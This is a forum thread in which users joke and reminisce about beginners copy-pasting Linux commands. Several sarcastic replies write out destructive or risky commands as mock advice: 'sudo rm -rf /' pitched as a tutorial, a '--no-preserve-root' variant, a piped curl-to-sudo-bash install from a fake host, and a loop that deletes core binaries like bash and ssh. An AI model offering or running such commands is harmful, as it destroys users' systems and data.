• @pezhore
    link
    6810 months ago

    Nothing better than curl https://totally-legit-installer.com/script | sudo bash

  • Rabbithole
    link
    fedilink
    59
    edit-2
    10 months ago

    I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

    It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you’re golden. No more linux issues ever again.

    • Hello Hotel
      link
      fedilink
      30
      edit-2
      10 months ago

      Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

      I also find that adding --verbose adds more things like commentary and extras that really help

      So, run sudo rm -rf --no-preserve-root --verbose

      /s

      • Rabbithole
        link
        fedilink
        19
        edit-2
        10 months ago

        All good points.

        That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

        It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

        Upvoted.

    • @whoamibro@lemmy.world
      link
      fedilink
      20
      edit-2
      10 months ago

      I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that

      • Rabbithole
        link
        fedilink
        13
        edit-2
        10 months ago

        It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

        This is the reason that BASH will always be better than Powershell, imho.

          • Rabbithole
            link
            fedilink
            1110 months ago

            Well, technically it teaches you how to optimize your system.

            That said, the optimizations are really effective.

            • Hello Hotel
              link
              fedilink
              7
              edit-2
              10 months ago

              Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

              while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
              clang # unwanted telemitry
              bash  # promotes violence
              tree    # hippy garbage
              awk    # secret backdoor into your PC
              ssh    # isnt up to date on its intentional encryption backdoor certificate
              bloatlist
              
              /s

              Hope nobody dumb enough to run this Because it actually works

              • Rabbithole
                link
                fedilink
                310 months ago

                Lol, I know what you mean.

                Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

                I swear to God Canonical have some things to answer for.

    • NightoftheLemmy
      link
      fedilink
      1810 months ago

      Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don’t hold shit against Linux now.

    • @some_guy@lemmy.sdf.org
      link
      fedilink
      1110 months ago

      I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

        • @RealBlstr@lemmy.world
          link
          fedilink
          1310 months ago

          Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

          • mfn77
            link
            fedilink
            6
            edit-2
            10 months ago

            I’m still curious about stuff I didn’t try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

            • @CheshireSnake@iusearchlinux.fyi
              link
              fedilink
              3
              edit-2
              10 months ago

              I just switched to NixOS from Endeavour maybe 1/2 days ago. It’s honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I’m a linux noob, though. You’ll probably have an easier time with it.

              Edit: i do miss pacman, specially yay.

        • @eric5949@lemmy.cloudaf.site
          link
          fedilink
          210 months ago

          God I spent so much unnecessary time reinstalling arch, before arch-install too! Looking back almost every time I reinstalled arch I could have fixed it with an installer and chroot.

    • @RealBlstr@lemmy.world
      link
      fedilink
      810 months ago

      That’s true. I’m no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

  • @Pensi@lemmy.world
    link
    fedilink
    3110 months ago

    I actually take the time to type everything out, but I still have no idea what I’m doing.

    • @ejsexton82@lemmy.sdf.org
      link
      fedilink
      810 months ago

      You know, my students do this. It’s freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

      • @madwifi@lemmy.world
        link
        fedilink
        1810 months ago

        it is actually a good thing to do. helps in learning stuff faster. it’s good to hear that there’s still people who don’t mindlessly copy and paste

        • @ejsexton82@lemmy.sdf.org
          link
          fedilink
          410 months ago

          I realize my post sounds like I’m against students typing out commands, but I’m not. I’m against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.

      • @mvirts@lemmy.world
        link
        fedilink
        1010 months ago

        Omg I tell people at least 3 times a day about bash’s tab completion. Cli proficiency should be taught before programming

        • @cmbabul@lemmy.world
          link
          fedilink
          3
          edit-2
          10 months ago

          Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do

        • @Eccitaze@yiffit.net
          link
          fedilink
          210 months ago

          Tab completion is the main way I check that I’m using a valid file path in the command, especially when I’m deleting something. (and even then I double and triple check the path when I delete something lol)

  • @CoupleOfConcerns@lemmy.nz
    link
    fedilink
    2210 months ago

    People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

    • @mvirts@lemmy.world
      link
      fedilink
      1410 months ago

      Aaand the arch wiki

      Aaand stack overflow

      Aaand the Gentoo wiki

      Aaand random Linux forums :P

      Aaand very occasionally the accessible source code for when you’re really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

  • @DucktorZee@lemmy.world
    link
    fedilink
    1710 months ago

    Not just Linux, I do this all the time when ‘writing’ R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

  • @bdonvr@thelemmy.club
    link
    fedilink
    1310 months ago

    You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

    • netburnr
      link
      fedilink
      410 months ago

      This is the way.

      We’re still using this meme right? /2%er

    • @some_guy@lemmy.sdf.org
      link
      fedilink
      110 months ago

      After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.

    • @purplemonkeymad@lemmy.world
      link
      fedilink
      110 months ago

      I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.

      I guess at least I now understand why everyone just does that for that problem.

  • @zephyrvs
    link
    1010 months ago

    I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)

    • @ShadyGrove@lemmy.world
      link
      fedilink
      1210 months ago

      The real learning happens when you copy and paste something you shouldn’t and bork your system. That’s basically how I started.

      • sunbunman
        link
        fedilink
        English
        710 months ago

        Me learning anything ever. Troubleshooting is the real learning phase.

        • @Viking_Hippie@lemmy.world
          link
          fedilink
          English
          -510 months ago

          No offence, but I hope you don’t hold a high ranking government position, what with catastrophic error being the only way you learn 😁

            • @Viking_Hippie@lemmy.world
              link
              fedilink
              English
              410 months ago

              Same tbh. For the hassle to be worth it, you’d probably have to have either an extreme tolerance for bureaucracy and patience in general or exactly the kind of selfishly careless mentally that would mean that you should NEVER be allowed anywhere near the job…

          • sunbunman
            link
            fedilink
            English
            410 months ago

            One would hope that all the learning mistakes happen earlier in the career before you could be trusted with something big like that.

    • @EliteCow@lemmy.dbzer0.com
      link
      fedilink
      210 months ago

      That was me today when I allowed Linux to remove what it claimed "can/should’ remove X packages… now my llmachine has no VMware tools, won’t scale, and is missing something called fuse?

  • @Belgdore@lemm.ee
    link
    fedilink
    510 months ago

    There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.